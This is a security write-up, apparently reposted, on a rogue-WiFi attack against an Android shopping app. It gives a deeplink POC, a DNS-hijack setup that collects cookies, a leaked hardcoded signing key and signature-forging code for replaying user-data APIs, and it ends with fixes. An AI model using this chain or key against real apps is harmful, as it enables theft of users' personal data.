记一次某APK的恶意WIFI攻击
用戶接入惡意WIFI即打開某APP,泄露用戶cookie,攻擊者可以通過token獲取用戶手機號、收藏、收貨地址等
漏洞詳情
查看manifest.xml有如下deeplink activity
"com.xxxx.client.android.modules.deeplink.ParseDeepLinkActivity" android:noHistory="true" android:theme="@style/Transparent" android:windowSoftInputMode="0x10"><intent-filter><action android:name="com.xxxx.client.android.activity.HomeActivity"/></intent-filter><intent-filter><action android:name="android.intent.action.VIEW"/><category android:name="android.intent.category.DEFAULT"/><category android:name="android.intent.category.BROWSABLE"/><data android:scheme="scheme"/></intent-filter> </activity>逆向ParseDeepLinkActivity代碼
@Override // android.app.Activity public void onCreate(Bundle arg13) {String v0;e v13;Intent v1_2;String frompage;String v3 = "";super.onCreate(arg13);if (s.i()) {try {this.uri = this.getIntent().getData();if (this.uri == null) {this.finish();return;}e.e.b.a.n.a.d.b();jb.b("CT_TAG", "uri = " + this.uri);v3 = this.uri.getQuery();if (TextUtils.isEmpty(v3)) {goto label_61;} else {this.schemabean = g.SCHEME_GETURLJSON(v3);v3 = this.schemabean;if (((SchemeBean)v3) == null) {goto label_61;}boolean v3_1 = TextUtils.isEmpty(this.schemabean.getFrompage());goto label_37;}goto label_62;}catch(Exception v1) {goto label_174;} ..會從查詢參數(shù)中獲取并反序列json,得到結(jié)構(gòu)SchemaBean,之后會根據(jù)bean的內(nèi)容進行派發(fā)。
if(bean1 != null) {if(g.a(v1, bean1, v6)) {return;}String v7_1 = bean.getChannelName();int v8 = -1;switch(v7_1.hashCode()) {case -2034194897: {boolean v7_2 = v7_1.equals("fenlei_detail");if(v7_2) {v8 = 18;}break;}case 3322092: {if(v7_1.equals("live")) {v8 = 0;}break;}case 1288290882: {if(v7_1.equals("wiki_all_product")) {v8 = 40;}break;}case 1843825908: {if(v7_1.equals("taskreward")) {v8 = 23;}break;}case 1991869741: {if(v7_1.equals("pinpai_detail")) {v8 = 17;}break;} ... case 3277: {if(v7_1.equals("h5")) {v8 = 60;}break;}渠道非常多,h5表示要打開h5頁面,如下代碼會通過路由尋找跳轉(zhuǎn)到對應(yīng)的activity
case 60: {if(("1".equals(bean.getLogin())) && !e.e.b.a.b.c.Ya()) {Ea.a(v1, 0x392FC);return;}b v3_19 = e.a().a("path_activity_zdm_web_browser", "group_route_browser");v3_19.putstring("url", bean.getLinkVal());v3_19.putstring("sub_type", "h5");v3_19.putstring("from", e.e.b.a.u.h.a(v6));v3_19.t();goto label_1102;}逆向路由注冊代碼,loadInto為路由統(tǒng)一注冊接口,找到對應(yīng)的activity為HybridActivity
public class o implements b {@Override // com.xxxx.android.router.api.e.bpublic void loadInto(Map arg8) {arg8.put("path_activity_zdm_web_browser", a.a(e.e.a.c.a.a.a.ACTIVITY, HybridActivity.class, "path_activity_zdm_web_browser", "group_route_browser", null, -1, 0x80000000));} }分析HybridActivity的onCreate方法,里面初始化webview并且loadUrl
@Override // com.xxxx.client.android.base.BaseActivityprotected void onCreate(Bundle arg5) {super.onCreate(arg5);this.A = new HybridPresenter(this, this.za(), this.getIntent().getStringExtra("link_type"), this.getIntent().getStringExtra("sub_type"));if(com.xxxx.client.android.hybrid.b.a.a.TRANSPARENT == this.P().h()) {int v5 = Build.VERSION.SDK_INT;if(v5 >= 21) {int v0 = 0x500;if(v5 >= 23 && this.P().l() == 1) {v0 = 0x2500;}this.getWindow().getDecorView().setSystemUiVisibility(v0);this.getWindow().setStatusBarColor(ContextCompat.getColor(this.getContext(), 0x106000D));}}this.getLifecycle().a(this.A);if(2 == this.A.b(this.getIntent())) {return;}this.La();this.y = this.init_webview();this.A.a(this.getIntent());//這里會同步cookie }遍歷webview加載的jsBridge,發(fā)現(xiàn)并沒有什么可利用的js接口,暫且不表。回到上文的同步cookie的代碼
public static void syncCookie(String arg1) {ia.syncCookie(arg1, false);}public static void syncCookie(String url, boolean arg9) { //arg9固定為falseif(!TextUtils.isEmpty(url) && ((arg9) || (url.contains(".xxxx.com")))) {try {jb.b("Nat: webView.syncCookie.url", url);CookieManager v9 = CookieManager.getInstance();String oldcookie = v9.getCookie(url);if(oldcookie != null) {jb.b("Nat: webView.syncCookie.oldCookie", oldcookie);}v9.setAcceptCookie(true);HashMap v2_1 = Na.a(true);if(v2_1 != null) {if(TextUtils.isEmpty(((CharSequence)v2_1.get("sess")))) {v9.setCookie(".xxxx.com", "sess=;");}if(TextUtils.isEmpty(((CharSequence)v2_1.get("ab_test")))) {v9.setCookie(".xxxx.com", "ab_test=;");}if(ia.isContain_smzdm_com(url)) {Iterator v2_2 = v2_1.entrySet().iterator();while(true) {boolean v3 = v2_2.hasNext();if(!v3) {break;}Object v3_1 = v2_2.next();Map.Entry v3_2 = (Map.Entry)v3_1;v9.setCookie(".yying.com", ((String)v3_2.getKey()) + "=" + Na.a(((String)v3_2.getValue())) + ";");v9.setCookie(".xxxx.com", ((String)v3_2.getKey()) + "=" + Na.a(((String)v3_2.getValue())) + ";");}v9.setCookie(".xxxx.com", "f=" + Na.a("android"));v9.setCookie(".xxxx.com", "v=" + Na.a("9.9.10"));v9.setCookie(".xxxx.com", "coupon_h5=" + com.xxxx.client.base.utils.b.c().a("coupon_h5") + ";");v9.setCookie("go.xxxx.com", "scene=" + Na.a(Aa.b) + ";");}}String v8_1 = v9.getCookie(url);if(v8_1 != null) {jb.b("Nat: webView.syncCookie.newCookie", v8_1);return;}}catch(Exception v8) {jb.b("Nat: webView.syncCookie failed", v8.toString());return;}} }以上代碼的意義是為.xxxx.com和.yying.com設(shè)置cookie,如果URL的域名是其子域名,那么webview在訪問該URL時會自動帶上cookie。但是并沒有校驗URL是否為HTTPS,這里可以是HTTP,可以構(gòu)造DNS劫持。
攻擊過程
搭建惡意WIFI
虛擬機安裝kali,再通過apt安裝hostapd、dnsmasq和nginx,硬件使用USB無線網(wǎng)卡tplink WN722N。
1、啟動熱點
在hostapd.conf設(shè)置SSID為SZ Airport Free,無認(rèn)證,這個名字拿到機場相信一定會有所收獲
2、搭建本地DNS
在dnsmasq.conf中設(shè)置DHCP及DNS,將域名a.xxxx.com解析到我的外網(wǎng)VPS,該VPS上設(shè)置nginx的access_log記錄cookie。
3、設(shè)置captive-portal-login
華為手機進行網(wǎng)絡(luò)評估時,會訪問connectivitycheck.platform.hicloud.com。因此配置DNS使connectivitycheck.platform.hicloud.com解析為192.168.1.1,并在192.168.1.1上設(shè)置nginx使其返回302:
并在192.168.1.1/index.html中插入代碼使瀏覽器拉起APP
POC:
{"channelName":"h5","linkVal":"http://a.xxxx.com/jsloop.html"}
經(jīng)過URL編碼
<iframe src="scheme://test?%7B%22channelName%22%3A%22h5%22,%22linkVal%22%3A%22http%3A%2F%2Fa.xxxx.com%2Fjsloop.html%22%7D"><br> 手機接入惡意WIFI<br> 點擊連接熱點SZ Airport Free,會自動通過瀏覽器拉起什么值得買APP,訪問<a href="http://a.xxxx.com/jsloop.html,app設(shè)置.xxxx.com子域名cookie。由于a.xxxx.com被我劫持,所以在VPS的nginx訪問日志中拿到用戶cookie">http://a.xxxx.com/jsloop.html,app設(shè)置.xxxx.com子域名cookie。由于a.xxxx.com被我劫持,所以在VPS的nginx訪問日志中拿到用戶cookie</a>:<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127093008-31019092-603f-1.png" alt=""></p> <h2>解決簽名問題</h2> <p>幾乎每一個請求都有簽名,現(xiàn)在只拿到cookie還不能成功調(diào)用接口<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127091158-a7197306-603c-1.png" alt=""><br> okhttp3的intercept方法中有如下代碼,用來計算sign</p> <pre><code>HashMap v5_1 = new HashMap(); v5_1.put("f", "android"); v5_1.put("v", "9.9.10"); v5_1.put("weixin", this.a()); v5_1.put("time", String.valueOf(d.b())); ... v8_3.putAll(v5_1); v8_3.put("sign", v1.a(v8_3, "POST")); <--- if(v1.b.contains(v0)) { v8_3.remove("time"); v8_3.remove("sign"); } for(Object v4_5: v8_3.entrySet()) { Map.Entry v4_6 = (Map.Entry)v4_5; v10_1.a(((String)v4_6.getKey()), ((String)v4_6.getValue())); }</code></pre> <p>此a方法就是用計算sign的,最后是用md5做摘要</p> <pre><code>private String a(Map arg6, String arg7) { String v4_1; try { StringBuilder v1 = new StringBuilder(); ArrayList v2 = new ArrayList(); for(Object v4: arg6.entrySet()) { v2.add(((Map.Entry)v4).getKey()); } Collections.sort(v2); int v3_1; for(v3_1 = 0; v3_1 < v2.size(); ++v3_1) { if(arg6.get(v2.get(v3_1)) != null && !"".equals(arg6.get(v2.get(v3_1)))) { if(v1.toString().contains("=")) { v1.append("&"); v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } else { v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } v1.append(v4_1); } } v1.append("&key="); v1.append(ZDMKeyUtil.a().b()); <--- 這里有一個key return Fa.md5(v1.toString().replace(" ", "")).toUpperCase(); } catch(Exception v6) { v6.printStackTrace(); return ""; } }</code></pre> <p>這個key通過jni接口獲得</p> <pre><code>static { System.loadLibrary("lib_zdm_key"); } public static ZDMKeyUtil a() { if(ZDMKeyUtil.a == null) { ZDMKeyUtil.a = new ZDMKeyUtil(); } return ZDMKeyUtil.a; } public String b() { try { if(ZDMKeyUtil.b == null || (ZDMKeyUtil.b.isEmpty())) { ZDMKeyUtil.b = this.getDefaultNativeKey(); return ZDMKeyUtil.b + ""; } } catch(Exception v0) { v0.printStackTrace(); return ZDMKeyUtil.b + ""; } return ZDMKeyUtil.b + ""; } private native String deleteNativeKey() { } private native String getDefaultNativeKey() { }</code></pre> <p>逆向liblib_zdm_key.so<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127092918-1358e220-603f-1.png" alt=""><br> 可以看到這是一個固定值,因此現(xiàn)在我可以自己計算sign了,寫如下java代碼即可完成:</p> <pre><code>public static final String md5(String arg9) { char[] v0 = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}; try { byte[] v9_1 = arg9.getBytes(); MessageDigest v1 = MessageDigest.getInstance("MD5"); v1.update(v9_1); byte[] v9_2 = v1.digest(); char[] v3 = new char[v9_2.length * 2]; int v4 = 0; int v5 = 0; while(v4 < v9_2.length) { int v6 = v9_2[v4]; int v7 = v5 + 1; v3[v5] = v0[v6 >>> 4 & 15]; v5 = v7 + 1; v3[v7] = v0[v6 & 15]; ++v4; } return new String(v3).toLowerCase(); } catch(Exception v9) { v9.printStackTrace(); return ""; } } private static String computeSign(Map arg6){ String v4_1; try { StringBuilder v1 = new StringBuilder(); ArrayList v2 = new ArrayList(); for(Object v4: arg6.entrySet()) { v2.add(((Map.Entry)v4).getKey()); } Collections.sort(v2); int v3_1; for(v3_1 = 0; v3_1 < v2.size(); ++v3_1) { if(arg6.get(v2.get(v3_1)) != null && !"".equals(arg6.get(v2.get(v3_1)))) { if(v1.toString().contains("=")) { v1.append("&"); v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } else { v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } v1.append(v4_1); } } v1.append("&key="); v1.append("apr1$AwP!wRRT$gJ/q.X24poeBInlUJC"); return md5(v1.toString().replace(" ", "")).toUpperCase(); } catch(Exception v6) { v6.printStackTrace(); return ""; } } public static void main(String[] args) { String v0 = System.currentTimeMillis() + ""; HashMap v5_1 = new HashMap(); v5_1.put("f", "android"); v5_1.put("v", "9.9.10"); v5_1.put("weixin", "1"); v5_1.put("time", v0); String s = computeSign(v5_1); System.out.println(v0);//time System.out.println(s);//sign }</code></pre> <p>現(xiàn)在就可以調(diào)用任意接口,比如重放/personal_data/info/獲取個人信息<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127091321-d8c63d1c-603c-1.png" alt=""><br> 成功獲取個人信息,包括手機號13288886666、收貨地址、性別、生日等信息<br> <img src="https://xzfile.aliyuncs.com/media/upload/picture/20210127091333-df90bce4-603c-1.png" alt=""></p> <h2>攻擊結(jié)果</h2> <p>獲取了用戶姓名、收貨地址、手機號、生日、社區(qū)文章、評論等個人敏感信息</p> <h2>修復(fù)建議</h2> <p>1、deeplink中的URL scheme要限制不能為HTTP<br> 2、HTTP請求中簽名用到的key不要硬編碼,改為動態(tài)協(xié)商</p> </iframe>
總結(jié)
以上是生活随笔為你收集整理的记一次某APK的恶意WIFI攻击的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux通过第三方应用提权实战总结
- 下一篇: 某公司邮件系统的安全检测